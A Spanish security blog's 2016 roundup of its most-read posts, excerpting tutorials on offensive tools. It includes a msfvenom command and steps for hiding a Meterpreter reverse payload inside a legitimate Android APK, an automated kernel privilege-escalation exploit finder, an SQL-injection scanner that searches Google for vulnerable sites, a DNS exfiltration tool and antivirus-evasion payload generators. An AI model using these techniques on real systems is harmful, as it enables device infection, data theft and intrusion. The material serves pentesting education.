Lo más visto del 2016 en Hackplayers

Como es ya tradición, queremos despedir 2016 con las 50 entradas más vistas del año según Google Analytics y, por supuesto, queremos aprovechar también esta entrada para daros las gracias como siempre por leernos, participar con vuestros comentarios y contribuciones y, en definitiva, por discutir/charlar, compartir e intercambiar conocimientos acerca de la gran pasión que a todos nos une: el hacking ético y la (in)seguridad informática.

2016 ha sido un gran año para Hackplayers. Se han unido nuevos autores al blog y hemos podido (por fin) impulsar nuestro rinconcito en Github para tener una sección de herramientas de código abierto lanzando primero 4nonimizer con la esperanza de facilitar el anonimato y la privacidad de todo aquel que desee usarla. También hemos ampliado nuestra presencia en otras redes, sobretodo con el grupo de Telegram que cada día no para de crecer en número de miembros y nos ha permitido tener una relación mucho más abierta y fluida con mucha más gente.

Además en el último trimestre y gracias a la participación voluntaria de viejos y nuevos amigos, hemos iniciado dos grandes proyectos que nos harán arrancar el 2017 con mucha ilusión y expectativa: el primero será un sitio de foros que arrancará muy pronto para mantener hilos y conversaciones menos efímeras que en Telegram y mejor clasificadas en categorías, y el segundo nuestro primer CTF que esperamos tener listo en febrero.

Sin más, os deseo a todos un feliz y próspero año 2017, que se prevé muy intenso y emocionante.

Gracias por estar ahí.

Top 50 de entradas más visitadas en el año 2016
 

Automatizando el escalado de privilegios en Linux

Todos sabemos la gran importancia que tiene la post-explotación en la labor del pentesting y una de las categorías más importantes dentro de la misma se hace llamar Privilege Escalation (escalado de privilegios). Ésta consiste en explotar una vulnerabilidad/bug de un determinado software para, como dice su propio nombre, elevar los privilegios dentro de dicho software. Normalmente ésto viene dado por una mala configuración, un error de diseño o, como ya he dicho, por un bug del software.

Ni que decir tiene, que este tipo de vulnerabilidad puede afectar a cualquier tipo de SO que tenga algunos componentes con algún tipo defecto o bug, ya sea por una mala configuración o una vulnerabilidad explotable. Por ejemplo: Mac, Linux, Windows...

En este caso, vamos a hablar sobre un script automatizado que se encarga de encontrar exploits para el kernel Linux que nosotros escojamos. Este script se llama Auto Local Privilege Escalation, un script desarrollado en bash y en python, al descargarlo de GitHub podemos elegir cualquiera de los dos scripts, ambos tienen la misma funcionalidad.

Automatic Local Privilege Escalation se encargará de buscar automáticamente en exploitDB los exploits para Linux más recientes para escalar privilegios para el kernel que nosotros hayamos escogido y, posteriormente, nos preguntará si queremos copiarlos en un directorio local para finalmente darnos la opción de si queremos compilar los programas escritos en C y para hacerlo automáticamente.

Su instalación y uso es muy sencillo:

┌─[alejandro@parrot]─[~/Desktop/Apps]
└──╼ $git clone https://github.com/ngalongc/AutoLocalPrivilegeEscalation 
Cloning into 'AutoLocalPrivilegeEscalation'...
remote: Counting objects: 46, done.
remote: Total 46 (delta 0), reused 0 (delta 0), pack-reused 46
Unpacking objects: 100% (46/46), done.
┌─[alejandro@parrot]─[~/Desktop/Apps]
└──╼ $cd AutoLocalPrivilegeEscalation/

┌─[alejandro@parrot]─[~/Desktop/Apps/AutoLocalPrivilegeEscalation]
└──╼ $ls
auto_priv_exploit.sh  auto_searchsploit.py  README.md

┌─[alejandro@parrot]─[~/Desktop/Apps/AutoLocalPrivilegeEscalation]
└──╼ $./auto_searchsploit.py -h
usage: auto_searchsploit.py [-h] kernel_version

Process some integers.
positional arguments:
  kernel_version  Kernel Version


optional arguments:
  -h, --help      show this help message and exit

En el ejemplo indicaremos que nos busque los exploits disponibles para la versión 2.6 del kernel:

┌─[alejandro@parrot]─[~/Desktop/Apps/AutoLocalPrivilegeEscalation]
└──╼ $./auto_searchsploit.py 2.6
[*]Potential Exploit :
Linux Kernel 2.6.17.4 - 'proc' Privilege Esc | /linux/local/2013.c
Postfix 2.6-20080814 - (symlink) Privilege E | /linux/local/6337.sh
Linux Kernel 2.6.32 - 'pipe.c' Privilege Esc | /linux/local/10018.sh
Linux Kernel 2.6.18 <= 2.6.18-20 - Privilege | /linux/local/10613.c
Linux Kernel 2.6.17 - 'Sys_Tee' Privilege Es | /linux/local/29714.txt
Linux Kernel 2.6.x - Ptrace Privilege Escala | /linux/local/30604.c
Linux Kernel 2.6.x - 'pipe.c' Privilege Esca | /linux/local/33322.c

Aquí nos indicará en que carpeta se guardaran en caso de que queramos guardarlos localmente, posteriormente, si queremos compilar lo exploits escritos en C:

[*] File destination directory name: /home/alejandro/Desktop/Apps/AutoLocalPrivilegeEscalation/linux_2.6
[*] Do you want to download exploit file to directory described above? [y/n]y
('[+] All file downloaded in', '/home/alejandro/Desktop/Apps/AutoLocalPrivilegeEscalation/linux_2.6/')
[*] C script found
[*] Compile format: gcc C_SCRIPT -o C_SCRIPT.exe
[*] Do you want to compile the downloaded C script?(No Gurantee Success) [y/n]y
[+] Among 4 C file[s], successfully compiled 1 file[s]
[+] Compiled file placed inside /home/alejandro/Desktop/Apps/AutoLocalPrivilegeEscalation/linux_2.6/
┌─[alejandro@parrot]─[~/Desktop/Apps/AutoLocalPrivilegeEscalation]
└──╼ $cd linux_2.6/
┌─[alejandro@parrot]─[~/Desktop/Apps/AutoLocalPrivilegeEscalation/linux_2.6]
└──╼ $ls
10018.sh  10613.c  2013.c  29714.txt  30604.c  30604.c.exe  33322.c  6337.sh

Tutorial para modificar un APK añadiéndole un payload msf

Ya sabéis que un APK es un paquete de aplicación de Android (Android Aplication Package) y que es como un .exe de Windows que contiene la aplicación y el instalador en el mismo paquete.

Lo que vamos a ver a continuación es un pequeño tutorial de cómo desempaquetar un .apk, y luego modificarlo añadiendo un componente propio generado por metasploit: un meterpreter para Android. Una vez construyamos ese paquete lo instalaremos en un dispositivo Android consiguiendo que se ejecute la app legítima a la vez que nuestro payload dejando infectado el dispositivo Android.

Cuando nos encontremos ante una auditoría podremos aplicar esta técnica para mostrar las vulnerabilidades de las aplicaciones de Android y recordar que lo importante es no instalar nunca aplicaciones de fuentes poco fiables.

Espero que disfrutéis de este pequeño tutorial tanto como yo lo he disfrutado haciéndolo.


Para empezar generamos el payload para Android con msf:

msfvenom -p android/meterpreter/Payload_Type LHOST=IP_Address LPORT=Incoming_Port -o meterpreter.apk

¿Quién es la Ladybug de #seguridad informática?

Si tenéis pequeños alrededor (sobretodo pequeñas) seguro que las habéis visto en más de una ocasión frente a la televisión viendo una serie de animación en la que la heroína tiene un feo vestido rojo con lunares negros y un curioso sobrenombre: Ladybug. Pero tranquilos no se trata de una serie de hackers ni de bugs informáticos, algo que sin embargo si que ronda mi cabeza... ¿quién es la verdadera Ladybug de la seguridad informática? Es decir, ¿quién es la mujer que más bugs y vulnerabilidades ha reportado en la actualidad?

Pues si os digo la verdad cuesta ver sobresalir a chicas dentro de los rankings de 'bug bounty hunters', algo que estoy seguro cambiará en los próximos años. De momento y por lo que he visto hasta ahora quizás una de las "cazarecompensas" más famosas es la americana Emily Stark (no confundir con la prima de Ironman xD) que era un core developer del framework javascript Meteor y ahora trabaja en el equipo de seguridad de Google Chrome. También es conocida por participar en muchas plataformas de crowdfunding para proyectos de seguridad y, si queréis ver un poco su historial, podéis ver por ejemplo sus logos en HackerOne donde en los dos últimos dos años ha reportado 14 vulnerabilidades: https://hackerone.com/emily

¿Y vosotros, conocéis alguna otra "Ladybug" a la que mencionar?

¡Feliz navidad!

#!/bin/bash
declare -a a=('.' '~' "'" 'O' "'" '~' '.' '*')
[[ $# = 0 ]] && s=9 || s=$1
[[ $s -gt 5 ]] || s=5
for (( w=1, r=7, n=1; n<=$s; n++ )) ; do
  for (( i=$s-n; i>0; i-- )) ;  do
    echo -n " "
  done
  for (( i=1; i<=w; i++ )) ; do
    echo -n "${a[r]}"
    [[ $r -gt 5 ]] && r=0 || r=$r+1
  done
  w=$w+2
  echo " "
done;
  echo " "
echo " ¡Feliz navidad! "

Whitewidow, un escáner de vulnerabilidades SQLi

Whitewidow es un escáner de vulnerabilidades SQL automático y de código abierto, capaz de lanzarse contra una lista de sitios contenidos en un archivo, o bien buscar en Google sitios web potencialmente vulnerables. Permite el formateo automático de archivos, agentes de usuarios aleatorios, direcciones IP, información de servidor, múltiples sintaxis de inyección de SQL, capacidad para iniciar sqlmap desde el programa y un entorno amigable. Este programa fue creado con fines de aprendizaje, y tiene la intención de enseñar a los usuarios cómo es la vulnerabilidad.

Repositorio

git clone https://github.com/WhitewidowScanner/whitewidow.git

Dependencias

    gem 'mechanize'
    gem 'nokogiri'
    gem 'rest-client'
    gem 'webmock'
    gem 'rspec'
    gem 'vcr'

Para instalar todas las gemas:

cd whitewidow
bundle install


Uso básico

ruby whitewidow.rb -d
: ejecuta whitewidow por defecto y busca en Google posibles sitios vulnerables usando una petición de búsqueda aleatoria

ruby whitewidow.rb -f path/to/file : ejecuta whitewidow para los sitios indicados en el archivo y añade la sintaxis SQL a cada URL

ruby whitewidow.rb -h : muestra el menú de ayuda

Para obtener más información sobre el uso y más flags, puedes revisar la página de la wiki aquí.

Ejemplos de uso

Al ejecutar whitewidow se muestra el banner y comienza a buscar posibles sitios que podrían ser vulnerables.


Whitewidow es capaz de encontrar vulnerabilidades en sitios web buscando en Google usando más de 1.000 consultas diferentes.


Whitewidow también es capaz de hacer spidering a una página web para sacar todos los enlaces disponibles y, posteriormente, buscar vulnerabilidades en todos los enlaces utilizando los programas incorporados.


Y cuando se han encontrado algunos sitios vulnerables, se puede iniciar sqlmap directamente desde el programa.

Exfiltración de datos por DNS con Dnsteal

Dnsteal es una herramienta de exfiltración de datos de DNS, esencialmente un servidor DNS falso que permite extraer de forma furtiva archivos de la máquina de una víctima a través de peticiones DNS.

Está programado en Python y está disponible en Github:

https://github.com/m57/dnsteal


Sus características principales son:

 - Soporte para varios archivos
 - Compresión Gzip soportada
 - Soporta la personalización de subdominios
 - Permite personalizar bytes por subdominio y la longitud del nombre de archivo

Uso:
# cd dnsteal/
# ./dnsteal.py -h
 
      ___  _  _ ___ _            _ 
     |   \| \| / __| |_ ___ __ _| |
     | |) | .` \__ \  _/ -_) _` | |
     |___/|_|\_|___/\__\___\__,_|_|v2.0
 
-- https://github.com/m57/dnsteal.git --
 
Stealthy file extraction via DNS requests
 
Usage: python ./dnsteal.py [listen_address] [options]
 
Options:
        -z      Unzip incoming files.
        -v      Verbose output.
        -h      This help menu
 
Advanced:
        -b      Bytes to send per subdomain                 (default = 57, max=63)
        -s      Number of data subdomains per request       (default =  4, ie. $data.$data.$data.$data.$filename)
        -f      Length reserved for filename per request    (default = 17)
 
$ python ./dnsteal.py -z 127.0.0.1
 
-------- Do not change the parameters unless you understand! --------
 
The query length cannot exceed 253 bytes. This is including the filename.
The subdomains lengths cannot exceed 63 bytes.
 
Advanced: 
        ./dnsteal.py 127.0.0.1 -z -s 4 -b 57 -f 17      4 subdomains, 57 bytes => (57 * 4 = 232 bytes) + (4 * '.' = 236). Filename => 17 byte(s)
        ./dnsteal.py 127.0.0.1 -z -s 4 -b 55 -f 29      4 subdomains, 55 bytes => (55 * 4 = 220 bytes) + (4 * '.' = 224). Filename => 29 byte(s)
        ./dnsteal.py 127.0.0.1 -z -s 4 -b 63 -f  1      4 subdomains, 63 bytes => (62 * 4 = 248 bytes) + (4 * '.' = 252). Filename =>  1 byte(s)
 
 
# 

Descarga: dnsteal.py

[ebook gratuito] "Programming Linux Anti-Reversing Techniques"

Programming Linux Anti-Reversing Techniques es un libro gratuito de Jacob Baines que muestra al lector cómo programar y analizar las técnicas más conocidas de anti-reversing en Linux. El libro muestra cómo un reverser analiza un binario con herramientas como IDA, Radare2, GDB, readelf y más. El código es presentado al lector listo para que pueda compilarlo y analizarlo por sí mismo.

Tabla de contenidos

    Preface
        Why Read This Book?
        Topics Not Covered
        Prerequisites
        Code and Command Output
    Chapter 1: Introductions
        Introducing “Trouble”
        Using CMake
        The Code
        Compiling
        Executing
        Accessing the Shell
    Chapter 2: Compiler Options
        -g
            Recovering the Bind Shell Password with Hexdump
            Recovering the Bind Shell Password with GDB
            The Debugging Information in IDA
            Removing the Debugging Information
            Case Study: XOR DDOS
        -s
            SYMTAB vs. DYNSYM
            Finding the Bind Shell Password Using .symtab
            Case Study: The FILE Symbol
            Examing Trouble After -s
        -fvisibility
            Looking at FUNC symbols
            Hiding FUNC symbols

Wycheproof: proyecto para auditar librerías criptográficas

Varios investigadores de seguridad de Google han lanzado el proyecto Wycheproof, un conjunto de pruebas de seguridad que chequean la existencia de debilidades conocidas en bibliotecas de software criptográfico.

Han desarrollado más de 80 casos de prueba que han descubierto más de 40 errores de seguridad (algunas pruebas o errores no son de código abierto todavía ya que están siendo arreglados por los proveedores). Por ejemplo, descubrieron que podían recuperar la clave privada de las implementaciones ampliamente utilizadas de DSA y ECDHC.
También ofrecen herramientas para comprobar proveedores de Java Cryptography Architecture como Bouncy Castle y los proveedores predeterminados en OpenJDK.

La principal motivación del proyecto es tener un objetivo alcanzable. Es por eso que llamaron al proyecto Wycheproof, la montaña más pequeña del mundo. ¡Cuanto más pequeña es la montaña, más fácil es subirla! En criptografía, los errores sutiles pueden tener consecuencias catastróficas, y los errores en las bibliotecas de software criptográfico de código abierto se repiten con demasiada frecuencia y permanecen sin descubrir durante demasiado tiempo. Por otro lado, las buenas directrices de implementación son difíciles de conseguir: la comprensión de cómo implementar la criptografía de forma segura requiere digerir el valor de la documentación académica de décadas.

Hay que reconocer que los ingenieros de software solucionan y previenen bugs con pruebas específicas, pero muchos problemas criptográficos pueden resolverse por los mismos medios. Estas observaciones les llevaron a desarrollar Project Wycheproof, una colección de pruebas unitarias que detectan debilidades conocidas o comprueban comportamientos esperados de algún algoritmo criptográfico. Los criptógrafos han estudiado la documentación e implementado los ataques más conocidos. Como resultado, Project Wycheproof proporciona pruebas para la mayoría de los algoritmos criptográficos, incluyendo RSA, codificación de curva elíptica y cifrado autenticado.

El primer conjunto de pruebas está escrito en Java, porque Java tiene una interfaz criptográfica común. Eso les permitió probar múltiples proveedores con una sola suite de pruebas. Si bien esta interfaz es un poco de nivel bajo, y no debe utilizarse directamente, siguen aplicando un argumento de "defensa en profundidad" y esperan que las implementaciones sean tan robustas como sea posible. Por ejemplo, consideran que los valores por defecto débiles son un fallo de seguridad significativo.

También están convirtiendo todas las pruebas posibles en conjuntos de vectores para simplificar el portado de las pruebas a otros idiomas. Y si bien están comprometidos en desarrollar tantas pruebas como sea posible, las contribuciones externas son bienvenidas (lee CONTRIBUIR).

Pasar las pruebas no implica que la biblioteca sea segura, simplemente significa que no es vulnerable a los ataques que Project Wycheproof intenta detectar. Los criptógrafos descubren constantemente nuevas debilidades en los protocolos criptográficos. Sin embargo, con los desarrolladores y usuarios de Project Wycheproof ahora podemos revisar bibliotecas frente a un gran número de ataques conocidos sin tener que pasar por cientos de documentos académicos o convertirse en criptógrafos. Para obtener más información sobre las pruebas y lo que puede hacer con ellas, visita su página principal en GitHub: https://github.com/google/wycheproof

Fuente: https://security.googleblog.com/2016/12/project-wycheproof.html

Herramientas para evadir el antivirus sin necesidad de ser un mago

Hoy leía una entrada de Jordan Potti en el que hacía mención a algunas de las herramientas más conocidas para conseguir que nuestros payloads evadan la detección de los antivirus, concretamente Hyperion, Veil-Evasion y Shellter. Cada una de ellas fueron tratadas también en mayor o menor medida en nuestro blog, así no quería dejar pasar la oportunidad de recogerlas en esta entrada junto con otras que hemos ido viendo a lo largo de los años y que, todavía, siguen siendo efectivas contra la mayoría de los motores AV. 
Al fin y al cabo estas herramientas y técnicas consiguen precisamente eso, que se pueda saltar el antivirus sin ser un auténtico "mago" del malware...

WinPayloads: de NCCGroup es una herramienta de generación de payloads escrita en Python 2.7 que utiliza el shellcode de meterpreter, inyecta la IP y el puerto del usuario en el shellcode y escribe un archivo de Python que ejecuta dicho shellcode usando ctypes. Posteriormente es cifrado con AES y compilado a un ejecutable de Windows usando PyInstaller.
  

Más en: http://www.hackplayers.com/2016/09/winpayloads-generacion-de-payloads-indetectables.html

Shellter: es una herramienta de inyección dinámica de shellcodes o PE infector. Por lo tanto puede usarse para inyectar shellcodes, tanto propios como los generados con Metasploit, en las aplicaciones nativas de Windows (repetimos: de momento sólo aplicaciones de 32 bits).

Shellter aprovecha la estructura original del archivo PE y no aplica modificaciones fácilmente detectables por los AV, tales como cambiar el permiso de acceso a la memoria en las secciones (a menos que el usuario lo especifique) o la adición de una sección con acceso de RWE. Tampoco es el típico infector que trata de encontrar un lugar para insertar instrucciones para redirigir la ejecución del payload. A diferencia de muchos, el motor de infección avanzado de Shellter nunca transfiere el flujo de ejecución a un code cave o añade una sección en el archivo PE infectado. Entonces, ¿cuál es la magia de Shellter?


Shellter utiliza un enfoque dinámico único que se basa en el flujo de ejecución de la aplicación objetivo. Esto significa que no se utilizan ubicaciones predefinidas o estáticas para la inyección de código shell. Shellter ejecutará y trazará el objetivo, mientras que al mismo tiempo registrará el flujo de ejecución de la aplicación en espacio de usuario. Esto incluye el código dentro de la aplicación en sí misma (imagen PE), y el código fuera de ella que podría ser en un archivo DLL del sistema o sobre un heap, etc ... Esto se hace para asegurar que las funciones realmente pertenecen al ejecutable, pero se usan solamente como funciones de callback para que el API de Windows no las pierda.